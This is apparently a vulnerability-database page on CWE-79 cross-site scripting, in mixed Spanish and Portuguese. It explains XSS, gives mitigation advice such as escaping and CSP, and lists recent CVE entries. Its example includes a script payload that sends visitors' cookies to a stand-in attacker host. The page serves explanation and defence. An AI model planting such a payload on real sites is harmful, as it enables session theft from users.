Fallos del tipo CWE-79

30.271 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-25073MEDIUMWordPress Easy WP Tiles plugin <= 1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-5254MEDIUMUltimate Addons for WPBakery Page Builder <= 3.19.20 - Authenticated (Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2026-2622MEDIUMBlossom Article Title ArticleController.java content cross site scriptingEPSS 0.3%CVE-2025-47084MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2024-37428MEDIUMWordPress All-in-One Addons for Elementor – WidgetKit plugin <= 2.5.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-35779MEDIUMWordPress Page Builder: Live Composer plugin <= 1.5.42 - Contributor+ Shortcode Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-14941MEDIUMGZSEO <= 2.0.11 - Authenticated (Contributor+) Authorization Bypass to Stored Cross-Site ScriptingEPSS 0.3%CVE-2024-44795MEDIUMA cross-site scripting (XSS) vulnerability in the component /login/disabled.php of Gazelle commit 63b3370 allows attackers to execute arbitrEPSS 0.3%CVE-2024-35761MEDIUMWordPress Online Booking & Scheduling Calendar for WordPress by vcita plugin <= 4.4.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-2225MEDIUMResponsive Addons for Elementor – Free Elementor Addons Plugin and Elementor Templates <= 1.6.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'rael_title_tag'EPSS 0.3%CVE-2024-10150MEDIUMBamazoo – Button Generator <= 1.0 - Authenticated (Contributor+) Stored Cross-Site Scripting via dgs ShortcodeEPSS 0.3%CVE-2024-4971MEDIUMLearnPress – WordPress LMS Plugin <= 4.2.6.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via id ParameterEPSS 0.3%CVE-2024-43983MEDIUMWordPress Podlove Podcast Publisher plugin <= 4.1.13 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-3458MEDIUMOcean Extra <= 2.4.6 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'ocean_gallery_id'EPSS 0.3%CVE-2024-11785MEDIUMIntegrate Firebase <= 0.9.3 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.3%CVE-2025-65270MEDIUMReflected cross-site scripting (XSS) vulnerability in ClinCapture EDC 3.0 and 2.2.3, allowing an unauthenticated remote attacker to execute EPSS 0.3%CVE-2024-47826LOWeLabFTW vulnerable to HTML Injection in extended search error messageEPSS 0.3%CVE-2024-9064MEDIUMElementor Inline SVG <= 1.2.0 - Authenticated (Author+) Stored Cross-Site Scripting via SVG File UploadEPSS 0.3%CVE-2024-0589MEDIUMCross-site scripting (XSS) vulnerability in the entry overview tab in Devolutions Remote Desktop Manager 2023.3.36 and earlier on Windows alEPSS 0.3%CVE-2024-44050MEDIUMWordPress Verbosa theme <= 1.2.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%